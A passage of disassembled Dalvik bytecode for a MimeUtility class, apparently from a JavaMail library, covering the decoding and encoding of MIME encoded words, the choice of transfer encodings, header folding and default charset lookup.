00000068  invoke-virtual          StringBuilder->toString()String, v1
0000006E  move-result-object      v1
00000070  invoke-direct           ParseException-><init>(String)V, v0, v1
00000076  throw                   v0
:78
00000078  invoke-virtual          String->substring(I, I)String, p0, v0, v1
0000007E  move-result-object      v0
00000080  invoke-static           MimeUtility->javaCharset(String)String, v0
00000086  move-result-object      v2
00000088  add-int/lit8            v0, v1, 0x1
0000008C  invoke-virtual          String->indexOf(I, I)I, p0, v3, v0
00000092  move-result             v1
00000094  if-ne                   v1, v4, :C2
:98
00000098  new-instance            v0, ParseException
0000009C  new-instance            v1, StringBuilder
000000A0  const-string            v2, "encoded word does not include encoding: "
000000A4  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000AA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p0
000000B0  move-result-object      v1
000000B2  invoke-virtual          StringBuilder->toString()String, v1
000000B8  move-result-object      v1
000000BA  invoke-direct           ParseException-><init>(String)V, v0, v1
000000C0  throw                   v0
:C2
000000C2  invoke-virtual          String->substring(I, I)String, p0, v0, v1
000000C8  move-result-object      v0
000000CA  add-int/lit8            v1, v1, 0x1
000000CE  const-string            v3, "?="
000000D2  invoke-virtual          String->indexOf(String, I)I, p0, v3, v1
000000D8  move-result             v3
000000DA  if-ne                   v3, v4, :108
:DE
000000DE  new-instance            v0, ParseException
000000E2  new-instance            v1, StringBuilder
000000E6  const-string            v2, "encoded word does not end with \"?=\": "
000000EA  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000F0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p0
000000F6  move-result-object      v1
000000F8  invoke-virtual          StringBuilder->toString()String, v1
000000FE  move-result-object      v1
00000100  invoke-direct           ParseException-><init>(String)V, v0, v1
00000106  throw                   v0
:108
00000108  invoke-virtual          String->substring(I, I)String, p0, v1, v3
0000010E  move-result-object      v1
:110
00000110  invoke-virtual          String->length()I, v1
00000116  move-result             v4
00000118  if-lez                  v4, :232
:11C
0000011C  new-instance            v4, ByteArrayInputStream
00000120  invoke-static           ASCIIUtility->getBytes(String)[B, v1
00000126  move-result-object      v1
00000128  invoke-direct           ByteArrayInputStream-><init>([B)V, v4, v1
0000012E  const-string            v1, "B"
00000132  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000138  move-result             v1
0000013A  if-eqz                  v1, :1B6
:13E
0000013E  new-instance            v0, BASE64DecoderStream
00000142  invoke-direct           BASE64DecoderStream-><init>(InputStream)V, v0, v4
:148
00000148  invoke-virtual          ByteArrayInputStream->available()I, v4
0000014E  move-result             v1
00000150  new-array               v4, v1, [B
00000154  const/4                 v5, 0x0
00000156  invoke-virtual          InputStream->read([B, I, I)I, v0, v4, v5, v1
0000015C  move-result             v1
0000015E  if-gtz                  v1, :216
:162
00000162  const-string            v0, ""
:166
00000166  add-int/lit8            v1, v3, 0x2
0000016A  invoke-virtual          String->length()I, p0
00000170  move-result             v4
00000172  if-ge                   v1, v4, :1B4
:176
00000176  add-int/lit8            v1, v3, 0x2
0000017A  invoke-virtual          String->substring(I)String, p0, v1
00000180  move-result-object      v1
00000182  sget-boolean            v3, MimeUtility->decodeStrict:Z
00000186  if-nez                  v3, :192
:18A
0000018A  invoke-static           MimeUtility->decodeInnerWords(String)String, v1
00000190  move-result-object      v1
:192
00000192  new-instance            v3, StringBuilder
00000196  invoke-static           String->valueOf(Object)String, v0
0000019C  move-result-object      v0
0000019E  invoke-direct           StringBuilder-><init>(String)V, v3, v0
000001A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v1
000001AA  move-result-object      v0
000001AC  invoke-virtual          StringBuilder->toString()String, v0
000001B2  move-result-object      v0
:1B4
000001B4  return-object           v0
:1B6
000001B6  const-string            v1, "Q"
000001BA  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000001C0  move-result             v1
000001C2  if-eqz                  v1, :1D6
:1C6
000001C6  new-instance            v0, QDecoderStream
000001CA  invoke-direct           QDecoderStream-><init>(InputStream)V, v0, v4
:1D0
000001D0  goto                    :148
:1D2
000001D2  move-exception          v0
000001D4  throw                   v0
:1D6
000001D6  new-instance            v1, UnsupportedEncodingException
000001DA  new-instance            v3, StringBuilder
000001DE  const-string            v4, "unknown encoding: "
000001E2  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000001E8  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v0
000001EE  move-result-object      v0
000001F0  invoke-virtual          StringBuilder->toString()String, v0
000001F6  move-result-object      v0
000001F8  invoke-direct           UnsupportedEncodingException-><init>(String)V, v1, v0
000001FE  throw                   v1
:200
00000200  move-exception          v0
00000202  new-instance            v1, ParseException
00000206  invoke-virtual          IOException->toString()String, v0
0000020C  move-result-object      v0
0000020E  invoke-direct           ParseException-><init>(String)V, v1, v0
00000214  throw                   v1
:216
00000216  new-instance            v0, String
0000021A  const/4                 v5, 0x0
0000021C  invoke-direct           String-><init>([B, I, I, String)V, v0, v4, v5, v1, v2
:222
00000222  goto                    :166
:224
00000224  move-exception          v0
00000226  new-instance            v0, UnsupportedEncodingException
0000022A  invoke-direct           UnsupportedEncodingException-><init>(String)V, v0, v2
00000230  throw                   v0
:232
00000232  const-string            v0, ""
:236
00000236  goto                    :166
          .catch UnsupportedEncodingException {:110 .. :1D0} :1D2
          .catch IOException {:110 .. :1D0} :200
          .catch IllegalArgumentException {:110 .. :1D0} :224
          .catch UnsupportedEncodingException {:1D6 .. :200} :1D2
          .catch IOException {:1D6 .. :200} :200
          .catch IllegalArgumentException {:1D6 .. :200} :224
          .catch UnsupportedEncodingException {:216 .. :222} :1D2
          .catch IOException {:216 .. :222} :200
          .catch IllegalArgumentException {:216 .. :222} :224
          .catch UnsupportedEncodingException {:232 .. :236} :1D2
          .catch IOException {:232 .. :236} :200
          .catch IllegalArgumentException {:232 .. :236} :224
.end method

.method private static doEncode(String, Z, String, I, String, Z, Z, StringBuffer)V
          .registers 18
00000000  invoke-virtual          String->getBytes(String)[B, p0, p2
00000006  move-result-object      v2
00000008  if-eqz                  p1, :72
:C
0000000C  invoke-static           BEncoderStream->encodedLength([B)I, v2
00000012  move-result             v1
:14
00000014  if-le                   v1, p3, :80
:18
00000018  invoke-virtual          String->length()I, p0
0000001E  move-result             v9
00000020  const/4                 v1, 0x1
00000022  if-le                   v9, v1, :80
:26
00000026  const/4                 v1, 0x0
00000028  div-int/lit8            v2, v9, 0x2
0000002C  invoke-virtual          String->substring(I, I)String, p0, v1, v2
00000032  move-result-object      v1
00000034  move                    v2, p1
00000036  move-object             v3, p2
00000038  move                    v4, p3
0000003A  move-object             v5, p4
0000003C  move                    v6, p5
0000003E  move/from16             v7, p6
00000042  move-object/from16      v8, p7
00000046  invoke-static/range     MimeUtility->doEncode(String, Z, String, I, String, Z, Z, StringBuffer)V, v1 .. v8
0000004C  div-int/lit8            v1, v9, 0x2
00000050  invoke-virtual          String->substring(I, I)String, p0, v1, v9
00000056  move-result-object      v1
00000058  const/4                 v6, 0x0
0000005A  move                    v2, p1
0000005C  move-object             v3, p2
0000005E  move                    v4, p3
00000060  move-object             v5, p4
00000062  move/from16             v7, p6
00000066  move-object/from16      v8, p7
0000006A  invoke-static/range     MimeUtility->doEncode(String, Z, String, I, String, Z, Z, StringBuffer)V, v1 .. v8
:70
00000070  return-void
:72
00000072  move/from16             v0, p6
00000076  invoke-static           QEncoderStream->encodedLength([B, Z)I, v2, v0
0000007C  move-result             v1
0000007E  goto                    :14
:80
00000080  new-instance            v3, ByteArrayOutputStream
00000084  invoke-direct           ByteArrayOutputStream-><init>()V, v3
0000008A  if-eqz                  p1, :E8
:8E
0000008E  new-instance            v1, BEncoderStream
00000092  invoke-direct           BEncoderStream-><init>(OutputStream)V, v1, v3
:98
00000098  invoke-virtual          OutputStream->write([B)V, v1, v2
0000009E  invoke-virtual          OutputStream->close()V, v1
:A4
000000A4  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v3
000000AA  move-result-object      v2
000000AC  if-nez                  p5, :C6
:B0
000000B0  sget-boolean            v1, MimeUtility->foldEncodedWords:Z
000000B4  if-eqz                  v1, :F8
:B8
000000B8  const-string            v1, "\r\n "
000000BC  move-object/from16      v0, p7
000000C0  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:C6
000000C6  move-object/from16      v0, p7
000000CA  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, p4
000000D0  const/4                 v1, 0x0
:D2
000000D2  array-length            v3, v2
000000D4  if-lt                   v1, v3, :108
:D8
000000D8  const-string            v1, "?="
000000DC  move-object/from16      v0, p7
000000E0  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
000000E6  goto                    :70
:E8
000000E8  new-instance            v1, QEncoderStream
000000EC  move/from16             v0, p6
000000F0  invoke-direct           QEncoderStream-><init>(OutputStream, Z)V, v1, v3, v0
000000F6  goto                    :98
:F8
000000F8  const-string            v1, " "
000000FC  move-object/from16      v0, p7
00000100  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
00000106  goto                    :C6
:108
00000108  aget-byte               v3, v2, v1
0000010C  int-to-char             v3, v3
0000010E  move-object/from16      v0, p7
00000112  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v3
00000118  add-int/lit8            v1, v1, 0x1
0000011C  goto                    :D2
:11E
0000011E  move-exception          v1
00000120  goto                    :A4
          .catch IOException {:98 .. :A4} :11E
.end method

.method public static encode(OutputStream, String)OutputStream
          .registers 5
00000000  if-nez                  p1, :6
:4
00000004  return-object           p0
:6
00000006  const-string            v0, "base64"
0000000A  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
00000010  move-result             v0
00000012  if-eqz                  v0, :24
:16
00000016  new-instance            v0, BASE64EncoderStream
0000001A  invoke-direct           BASE64EncoderStream-><init>(OutputStream)V, v0, p0
00000020  move-object             p0, v0
00000022  goto                    :4
:24
00000024  const-string            v0, "quoted-printable"
00000028  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000002E  move-result             v0
00000030  if-eqz                  v0, :42
:34
00000034  new-instance            v0, QPEncoderStream
00000038  invoke-direct           QPEncoderStream-><init>(OutputStream)V, v0, p0
0000003E  move-object             p0, v0
00000040  goto                    :4
:42
00000042  const-string            v0, "uuencode"
00000046  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000004C  move-result             v0
0000004E  if-nez                  v0, :72
:52
00000052  const-string            v0, "x-uuencode"
00000056  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000005C  move-result             v0
0000005E  if-nez                  v0, :72
:62
00000062  const-string            v0, "x-uue"
00000066  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000006C  move-result             v0
0000006E  if-eqz                  v0, :80
:72
00000072  new-instance            v0, UUEncoderStream
00000076  invoke-direct           UUEncoderStream-><init>(OutputStream)V, v0, p0
0000007C  move-object             p0, v0
0000007E  goto                    :4
:80
00000080  const-string            v0, "binary"
00000084  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000008A  move-result             v0
0000008C  if-nez                  v0, :4
:90
00000090  const-string            v0, "7bit"
00000094  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000009A  move-result             v0
0000009C  if-nez                  v0, :4
:A0
000000A0  const-string            v0, "8bit"
000000A4  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
000000AA  move-result             v0
000000AC  if-nez                  v0, :4
:B0
000000B0  new-instance            v0, MessagingException
000000B4  new-instance            v1, StringBuilder
000000B8  const-string            v2, "Unknown encoding: "
000000BC  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000C2  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
000000C8  move-result-object      v1
000000CA  invoke-virtual          StringBuilder->toString()String, v1
000000D0  move-result-object      v1
000000D2  invoke-direct           MessagingException-><init>(String)V, v0, v1
000000D8  throw                   v0
.end method

.method public static encode(OutputStream, String, String)OutputStream
          .registers 6
00000000  if-nez                  p1, :6
:4
00000004  return-object           p0
:6
00000006  const-string            v0, "base64"
0000000A  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
00000010  move-result             v0
00000012  if-eqz                  v0, :24
:16
00000016  new-instance            v0, BASE64EncoderStream
0000001A  invoke-direct           BASE64EncoderStream-><init>(OutputStream)V, v0, p0
00000020  move-object             p0, v0
00000022  goto                    :4
:24
00000024  const-string            v0, "quoted-printable"
00000028  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000002E  move-result             v0
00000030  if-eqz                  v0, :42
:34
00000034  new-instance            v0, QPEncoderStream
00000038  invoke-direct           QPEncoderStream-><init>(OutputStream)V, v0, p0
0000003E  move-object             p0, v0
00000040  goto                    :4
:42
00000042  const-string            v0, "uuencode"
00000046  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000004C  move-result             v0
0000004E  if-nez                  v0, :72
:52
00000052  const-string            v0, "x-uuencode"
00000056  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000005C  move-result             v0
0000005E  if-nez                  v0, :72
:62
00000062  const-string            v0, "x-uue"
00000066  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000006C  move-result             v0
0000006E  if-eqz                  v0, :80
:72
00000072  new-instance            v0, UUEncoderStream
00000076  invoke-direct           UUEncoderStream-><init>(OutputStream, String)V, v0, p0, p2
0000007C  move-object             p0, v0
0000007E  goto                    :4
:80
00000080  const-string            v0, "binary"
00000084  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000008A  move-result             v0
0000008C  if-nez                  v0, :4
:90
00000090  const-string            v0, "7bit"
00000094  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000009A  move-result             v0
0000009C  if-nez                  v0, :4
:A0
000000A0  const-string            v0, "8bit"
000000A4  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
000000AA  move-result             v0
000000AC  if-nez                  v0, :4
:B0
000000B0  new-instance            v0, MessagingException
000000B4  new-instance            v1, StringBuilder
000000B8  const-string            v2, "Unknown encoding: "
000000BC  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000C2  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
000000C8  move-result-object      v1
000000CA  invoke-virtual          StringBuilder->toString()String, v1
000000D0  move-result-object      v1
000000D2  invoke-direct           MessagingException-><init>(String)V, v0, v1
000000D8  throw                   v0
.end method

.method public static encodeText(String)String
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-static           MimeUtility->encodeText(String, String, String)String, p0, v0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public static encodeText(String, String, String)String
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-static           MimeUtility->encodeWord(String, String, String, Z)String, p0, p1, p2, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public static encodeWord(String)String
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-static           MimeUtility->encodeWord(String, String, String)String, p0, v0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public static encodeWord(String, String, String)String
          .registers 4
00000000  const/4                 v0, 0x1
00000002  invoke-static           MimeUtility->encodeWord(String, String, String, Z)String, p0, p1, p2, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method private static encodeWord(String, String, String, Z)String
          .registers 12
00000000  const/4                 v5, 0x1
00000002  invoke-static           MimeUtility->checkAscii(String)I, p0
00000008  move-result             v0
0000000A  if-ne                   v0, v5, :10
:E
0000000E  return-object           p0
:10
00000010  if-nez                  p1, :AC
:14
00000014  invoke-static           MimeUtility->getDefaultJavaCharset()String
0000001A  move-result-object      v2
0000001C  invoke-static           MimeUtility->getDefaultMIMECharset()String
00000022  move-result-object      p1
:24
00000024  if-nez                  p2, :32
:28
00000028  const/4                 v1, 0x3
0000002A  if-eq                   v0, v1, :B6
:2E
0000002E  const-string            p2, "Q"
:32
00000032  const-string            v0, "B"
00000036  invoke-virtual          String->equalsIgnoreCase(String)Z, p2, v0
0000003C  move-result             v0
0000003E  if-eqz                  v0, :BC
:42
00000042  move                    v1, v5
:44
00000044  new-instance            v7, StringBuffer
00000048  invoke-direct           StringBuffer-><init>()V, v7
0000004E  invoke-virtual          String->length()I, p1
00000054  move-result             v0
00000056  rsub-int/lit8           v3, v0, 0x44
0000005A  new-instance            v0, StringBuilder
0000005E  const-string            v4, "=?"
00000062  invoke-direct           StringBuilder-><init>(String)V, v0, v4
00000068  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000006E  move-result-object      v0
00000070  const-string            v4, "?"
00000074  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v4
0000007A  move-result-object      v0
0000007C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p2
00000082  move-result-object      v0
00000084  const-string            v4, "?"
00000088  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v4
0000008E  move-result-object      v0
00000090  invoke-virtual          StringBuilder->toString()String, v0
00000096  move-result-object      v4
00000098  move-object             v0, p0
0000009A  move                    v6, p3
0000009C  invoke-static/range     MimeUtility->doEncode(String, Z, String, I, String, Z, Z, StringBuffer)V, v0 .. v7
000000A2  invoke-virtual          StringBuffer->toString()String, v7
000000A8  move-result-object      p0
000000AA  goto                    :E
:AC
000000AC  invoke-static           MimeUtility->javaCharset(String)String, p1
000000B2  move-result-object      v2
000000B4  goto                    :24
:B6
000000B6  const-string            p2, "B"
000000BA  goto                    :32
:BC
000000BC  const-string            v0, "Q"
000000C0  invoke-virtual          String->equalsIgnoreCase(String)Z, p2, v0
000000C6  move-result             v0
000000C8  if-eqz                  v0, :D0
:CC
000000CC  const/4                 v1, 0x0
000000CE  goto                    :44
:D0
000000D0  new-instance            v0, UnsupportedEncodingException
000000D4  new-instance            v1, StringBuilder
000000D8  const-string            v2, "Unknown transfer encoding: "
000000DC  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000E2  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p2
000000E8  move-result-object      v1
000000EA  invoke-virtual          StringBuilder->toString()String, v1
000000F0  move-result-object      v1
000000F2  invoke-direct           UnsupportedEncodingException-><init>(String)V, v0, v1
000000F8  throw                   v0
.end method

.method public static fold(I, String)String
          .registers 12
00000000  const/16                v9, 0x4C
00000004  const/16                v8, 0x20
00000008  const/16                v7, 0x9
0000000C  const/4                 v3, 0xFFFFFFFFFFFFFFFF
0000000E  const/4                 v1, 0x0
00000010  sget-boolean            v0, MimeUtility->foldText:Z
00000014  if-nez                  v0, :1A
:18
00000018  return-object           p1
:1A
0000001A  invoke-virtual          String->length()I, p1
00000020  move-result             v0
00000022  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
:26
00000026  if-gez                  v0, :8A
:2A
0000002A  invoke-virtual          String->length()I, p1
00000030  move-result             v2
00000032  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
00000036  if-eq                   v0, v2, :46
:3A
0000003A  add-int/lit8            v0, v0, 0x1
0000003E  invoke-virtual          String->substring(I, I)String, p1, v1, v0
00000044  move-result-object      p1
:46
00000046  invoke-virtual          String->length()I, p1
0000004C  move-result             v0
0000004E  add-int/2addr           v0, p0
00000050  if-le                   v0, v9, :18
:54
00000054  new-instance            v6, StringBuffer
00000058  invoke-virtual          String->length()I, p1
0000005E  move-result             v0
00000060  add-int/lit8            v0, v0, 0x4
00000064  invoke-direct           StringBuffer-><init>(I)V, v6, v0
0000006A  move                    v0, v1
:6C
0000006C  invoke-virtual          String->length()I, p1
00000072  move-result             v2
00000074  add-int/2addr           v2, p0
00000076  if-gt                   v2, v9, :B0
:7A
0000007A  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, p1
00000080  invoke-virtual          StringBuffer->toString()String, v6
00000086  move-result-object      p1
00000088  goto                    :18
:8A
0000008A  invoke-virtual          String->charAt(I)C, p1, v0
00000090  move-result             v2
00000092  if-eq                   v2, v8, :AA
:96
00000096  if-eq                   v2, v7, :AA
:9A
0000009A  const/16                v4, 0xD
0000009E  if-eq                   v2, v4, :AA
:A2
000000A2  const/16                v4, 0xA
000000A6  if-ne                   v2, v4, :2A
:AA
000000AA  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
000000AE  goto                    :26
:B0
000000B0  move                    v2, v3
000000B2  move                    v4, v0
000000B4  move                    v0, v1
:B6
000000B6  invoke-virtual          String->length()I, p1
000000BC  move-result             v5
000000BE  if-lt                   v0, v5, :D2
:C2
000000C2  if-ne                   v2, v3, :100
:C6
000000C6  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, p1
000000CC  const-string            p1, ""
000000D0  goto                    :7A
:D2
000000D2  if-eq                   v2, v3, :DE
:D6
000000D6  add-int                 v5, p0, v0
000000DA  if-gt                   v5, v9, :C2
:DE
000000DE  invoke-virtual          String->charAt(I)C, p1, v0
000000E4  move-result             v5
000000E6  if-eq                   v5, v8, :EE
:EA
000000EA  if-ne                   v5, v7, :F8
:EE
000000EE  if-eq                   v4, v8, :F8
:F2
000000F2  if-eq                   v4, v7, :F8
:F6
000000F6  move                    v2, v0
:F8
000000F8  add-int/lit8            v0, v0, 0x1
000000FC  move                    v4, v5
000000FE  goto                    :B6
:100
00000100  invoke-virtual          String->substring(I, I)String, p1, v1, v2
00000106  move-result-object      v0
00000108  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v0
0000010E  const-string            v0, "\r\n"
00000112  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v0
00000118  invoke-virtual          String->charAt(I)C, p1, v2
0000011E  move-result             v0
00000120  invoke-virtual          StringBuffer->append(C)StringBuffer, v6, v0
00000126  add-int/lit8            v2, v2, 0x1
0000012A  invoke-virtual          String->substring(I)String, p1, v2
00000130  move-result-object      p1
00000132  const/4                 p0, 0x1
00000134  goto                    :6C
.end method

.method public static getDefaultJavaCharset()String
          .registers 2
00000000  sget-object             v0, MimeUtility->defaultJavaCharset:String
00000004  if-nez                  v0, :4C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  const-string            v1, "mail.mime.charset"
0000000E  invoke-static           System->getProperty(String)String, v1
:14
00000014  move-result-object      v0
:16
00000016  if-eqz                  v0, :38
:1A
0000001A  invoke-virtual          String->length()I, v0
00000020  move-result             v1
00000022  if-lez                  v1, :38
:26
00000026  invoke-static           MimeUtility->javaCharset(String)String, v0
0000002C  move-result-object      v0
0000002E  sput-object             v0, MimeUtility->defaultJavaCharset:String
00000032  sget-object             v0, MimeUtility->defaultJavaCharset:String
:36
00000036  return-object           v0
:38
00000038  const-string            v0, "file.encoding"
0000003C  const-string            v1, "8859_1"
00000040  invoke-static           System->getProperty(String, String)String, v0, v1
00000046  move-result-object      v0
00000048  sput-object             v0, MimeUtility->defaultJavaCharset:String
:4C
0000004C  sget-object             v0, MimeUtility->defaultJavaCharset:String
00000050  goto                    :36
:52
00000052  move-exception          v0
00000054  new-instance            v0, InputStreamReader
00000058  new-instance            v1, MimeUtility$1NullInputStream
0000005C  invoke-direct           MimeUtility$1NullInputStream-><init>()V, v1
00000062  invoke-direct           InputStreamReader-><init>(InputStream)V, v0, v1
00000068  invoke-virtual          InputStreamReader->getEncoding()String, v0
0000006E  move-result-object      v0
00000070  sput-object             v0, MimeUtility->defaultJavaCharset:String
00000074  sget-object             v0, MimeUtility->defaultJavaCharset:String
00000078  if-nez                  v0, :4C
:7C
0000007C  const-string            v0, "8859_1"
00000080  sput-object             v0, MimeUtility->defaultJavaCharset:String
00000084  goto                    :4C
:86
00000086  move-exception          v1
00000088  goto                    :16
          .catch SecurityException {:A .. :14} :86
          .catch SecurityException {:38 .. :4C} :52
.end method

.method static getDefaultMIMECharset()String
          .registers 1
00000000  sget-object             v0, MimeUtility->defaultMIMECharset:String
00000004  if-nez                  v0, :18
:8
00000008  const-string            v0, "mail.mime.charset"
0000000C  invoke-static           System->getProperty(String)String, v0
00000012  move-result-object      v0
00000014  sput-object             v0, MimeUtility->defaultMIMECharset:String
:18
00000018  sget-object             v0, MimeUtility->defaultMIMECharset:String
0000001C  if-nez                  v0, :34
:20
00000020  invoke-static           MimeUtility->getDefaultJavaCharset()String
00000026  move-result-object      v0
00000028  invoke-static           MimeUtility->mimeCharset(String)String, v0
0000002E  move-result-object      v0
00000030  sput-object             v0, MimeUtility->defaultMIMECharset:String
:34
00000034  sget-object             v0, MimeUtility->defaultMIMECharset:String
00000038  return-object           v0
:3A
0000003A  move-exception          v0
0000003C  goto                    :18
          .catch SecurityException {:8 .. :18} :3A
.end method

.method public static getEncoding(DataHandler)String
          .registers 5
00000000  const/4                 v3, 0x1
00000002  const/4                 v2, 0x0
00000004  invoke-virtual          DataHandler->getName()String, p0
0000000A  move-result-object      v0
0000000C  if-eqz                  v0, :22
:10
00000010  invoke-virtual          DataHandler->getDataSource()DataSource, p0
00000016  move-result-object      v0
00000018  invoke-static           MimeUtility->getEncoding(DataSource)String, v0
0000001E  move-result-object      v0
:20
00000020  return-object           v0
:22
00000022  new-instance            v0, ContentType
00000026  invoke-virtual          DataHandler->getContentType()String, p0
0000002C  move-result-object      v1
0000002E  invoke-direct           ContentType-><init>(String)V, v0, v1
:34
00000034  const-string            v1, "text/*"
00000038  invoke-virtual          ContentType->match(String)Z, v0, v1
0000003E  move-result             v0
00000040  if-eqz                  v0, :7C
:44
00000044  new-instance            v0, AsciiOutputStream
00000048  invoke-direct           AsciiOutputStream-><init>(Z, Z)V, v0, v2, v2
:4E
0000004E  invoke-virtual          DataHandler->writeTo(OutputStream)V, p0, v0
:54
00000054  invoke-virtual          AsciiOutputStream->getAscii()I, v0
0000005A  move-result             v0
0000005C  packed-switch           v0, :B0
:62
00000062  const-string            v0, "base64"
00000066  goto                    :20
:68
00000068  move-exception          v0
0000006A  const-string            v0, "base64"
0000006E  goto                    :20
:70
00000070  const-string            v0, "7bit"
00000074  goto                    :20
:76
00000076  const-string            v0, "quoted-printable"
0000007A  goto                    :20
:7C
0000007C  new-instance            v0, AsciiOutputStream
00000080  sget-boolean            v1, MimeUtility->encodeEolStrict:Z
00000084  invoke-direct           AsciiOutputStream-><init>(Z, Z)V, v0, v3, v1
:8A
0000008A  invoke-virtual          DataHandler->writeTo(OutputStream)V, p0, v0
:90
00000090  invoke-virtual          AsciiOutputStream->getAscii()I, v0
00000096  move-result             v0
00000098  if-ne                   v0, v3, :A2
:9C
0000009C  const-string            v0, "7bit"
000000A0  goto                    :20
:A2
000000A2  const-string            v0, "base64"
000000A6  goto                    :20
:A8
000000A8  move-exception          v1
000000AA  goto                    :54
:AC
000000AC  move-exception          v1
000000AE  goto                    :90
          .catch Exception {:22 .. :34} :68
          .catch IOException {:4E .. :54} :A8
          .catch IOException {:8A .. :90} :AC
000000B0  .packed-switch 0x1
              :70
              :76
          .end packed-switch
.end method

.method public static getEncoding(DataSource)String
          .registers 4
00000000  new-instance            v0, ContentType
00000004  invoke-interface        DataSource->getContentType()String, p0
0000000A  move-result-object      v1
0000000C  invoke-direct           ContentType-><init>(String)V, v0, v1
00000012  invoke-interface        DataSource->getInputStream()InputStream, p0
:18
00000018  move-result-object      v1
0000001A  const-string            v2, "text/*"
0000001E  invoke-virtual          ContentType->match(String)Z, v0, v2
00000024  move-result             v0
00000026  const/4                 v2, 0xFFFFFFFFFFFFFFFF
00000028  if-eqz                  v0, :50
:2C
0000002C  const/4                 v0, 0x0
:2E
0000002E  invoke-static           MimeUtility->checkAscii(InputStream, I, Z)I, v1, v2, v0
00000034  move-result             v0
00000036  packed-switch           v0, :64
:3C
0000003C  const-string            v0, "base64"
:40
00000040  invoke-virtual          InputStream->close()V, v1
:46
00000046  return-object           v0
:48
00000048  move-exception          v0
0000004A  const-string            v0, "base64"
0000004E  goto                    :46
:50
00000050  const/4                 v0, 0x1
00000052  goto                    :2E
:54
00000054  const-string            v0, "7bit"
00000058  goto                    :40
:5A
0000005A  const-string            v0, "quoted-printable"
0000005E  goto                    :40
:60
00000060  move-exception          v1
00000062  goto                    :46
          .catch Exception {:0 .. :18} :48
          .catch IOException {:40 .. :46} :60
00000064  .packed-switch 0x1
              :54
              :5A
          .end packed-switch
.end method

.method private static indexOfAny(String, String)I
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-static           MimeUtility->indexOfAny(String, String, I)I, p0, p1, v0
00000008  move-result             v0
0000000A  return                  v0
.end method

.method private static indexOfAny(String, String, I)I
          .registers 7
00000000  const/4                 v1, 0xFFFFFFFFFFFFFFFF
:2
00000002  invoke-virtual          String->length()I, p0
00000008  move-result             v2
0000000A  move                    v0, p2
:C
0000000C  if-lt                   v0, v2, :14
:10
00000010  move                    v0, v1
:12
00000012  return                  v0
:14
00000014  invoke-virtual          String->charAt(I)C, p0, v0
0000001A  move-result             v3
0000001C  invoke-virtual          String->indexOf(I)I, p1, v3
:22
00000022  move-result             v3
00000024  if-gez                  v3, :12
:28
00000028  add-int/lit8            v0, v0, 0x1
0000002C  goto                    :C
:2E
0000002E  move-exception          v0
00000030  move                    v0, v1
00000032  goto                    :12
          .catch StringIndexOutOfBoundsException {:2 .. :22} :2E
.end method

.method public static javaCharset(String)String
          .registers 3
00000000  sget-object             v0, MimeUtility->mime2java:Hashtable
00000004  if-eqz                  v0, :C
:8
00000008  if-nez                  p0, :E
:C
0000000C  return-object           p0
:E
0000000E  sget-object             v0, MimeUtility->mime2java:Hashtable
00000012  sget-object             v1, Locale->ENGLISH:Locale
00000016  invoke-virtual          String->toLowerCase(Locale)String, p0, v1
0000001C  move-result-object      v1
0000001E  invoke-virtual          Hashtable->get(Object)Object, v0, v1
00000024  move-result-object      v0
00000026  check-cast              v0, String
0000002A  if-eqz                  v0, :C
:2E
0000002E  move-object             p0, v0
00000030  goto                    :C
.end method

.method private static loadMappings(LineInputStream, Hashtable)V
